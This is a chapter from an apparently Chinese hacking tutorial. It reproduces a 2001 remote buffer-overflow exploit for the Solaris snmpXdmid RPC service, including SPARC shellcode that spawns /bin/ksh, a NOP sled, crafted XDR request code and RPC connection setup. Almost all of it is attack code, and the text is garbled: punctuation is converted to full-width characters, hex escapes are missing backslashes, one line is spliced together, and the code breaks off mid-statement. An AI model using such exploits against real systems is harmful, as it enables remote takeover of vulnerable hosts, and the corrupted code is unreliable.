《30天打造专业红客》第29章

〃x12xbfxffxfb〃　/*　bne */
〃x91xd0x20x08〃　/*　ta　8　*/
；
char　shellcode＇＇=
〃x20xbfxffxff〃　/*　bn；a */
〃x20xbfxffxff〃　/*　bn；a */
〃x7fxffxffxff〃　/*　call */
〃x90x03xe0x20〃　/*　add　％o7；32；％o0　*/
〃x92x02x20x10〃　/*　add　％o0；16；％o1　*/
〃xc0x22x20x08〃　/*　st　％g0；＇％o0＋8＇　*/
〃xd0x22x20x10〃　/*　st　％o0；＇％o0＋16＇　*/
〃xc0x22x20x14〃　/*　st　％g0；＇％o0＋20＇　*/
〃x82x10x20x0b〃　/*　mov　0x0b；％g1　*/
〃x91xd0x20x08〃　/*　ta　8　*/
〃/bin/ksh〃
；
static　char　nop＇＇=〃x80x1cx40x11〃；
typedef　struct｛
struct｛unsigned　int　len；char　*val；｝name；
struct｛unsigned　int　len；char　*val；｝pragma；
｝req_t；
bool_t　xdr_req（XDR　*xdrs；req_t　*objp）｛
char　*v=NULL；unsigned　long　l=0；int　b=1；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
if（！xdr_pointer（xdrs；&v；0；（xdrproc_t）NULL））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_array（xdrs；&objp…》name。val；&objp…》name。len；~0；sizeof（char）；
（xdrproc_t）xdr_char））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_array（xdrs；&objp…》pragma。val；&objp…》pragma。len；~0；sizeof（char）；
（xdrproc_t）xdr_char））　return（FALSE）；
if（！xdr_pointer（xdrs；&v；0；（xdrproc_t）NULL））　return（FALSE）；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
return（TRUE）；
｝
main（int　argc；char　**argv）｛
char　buffer＇140000＇；address＇4＇；pch＇4＇；*b；
int　i；c；n；vers=…1；port=0；sck；
CLIENT　*cl；enum　clnt_stat　stat；
struct　hostent　*hp；
struct　sockaddr_in　adr；
struct　timeval　tm=｛10；0｝；
req_t　req；
printf（〃copyright　LAST　STAGE　OF　DELIRIUM　mar　2001　poland　//lsd…pl。/n〃）；
printf（〃snmpXdmid　for　solaris　2。7　2。8　sparcnn〃）；
if（argch_addr；4）；
｝
sck=RPC_ANYSOCK；
if（！（cl=clnttcp_create（&adr；SNMPXDMID_PROG；SNMPXDMID_VERS；&sck；0；0）））｛
clnt_pcreateerror（〃error〃）；exit（…1）；
｝
cl…》cl_auth=authunix_create（〃localhost〃；0；0；0；NULL）；
i=sizeof（struct　sockaddr_in）；
if（getsockname（sck；（struct　sockaddr*）&adr；&i）==…1）｛
struct｛unsigned　int　maxlen；unsigned　int　len；char　*buf；｝nb；
ioctl（sck；（（"S"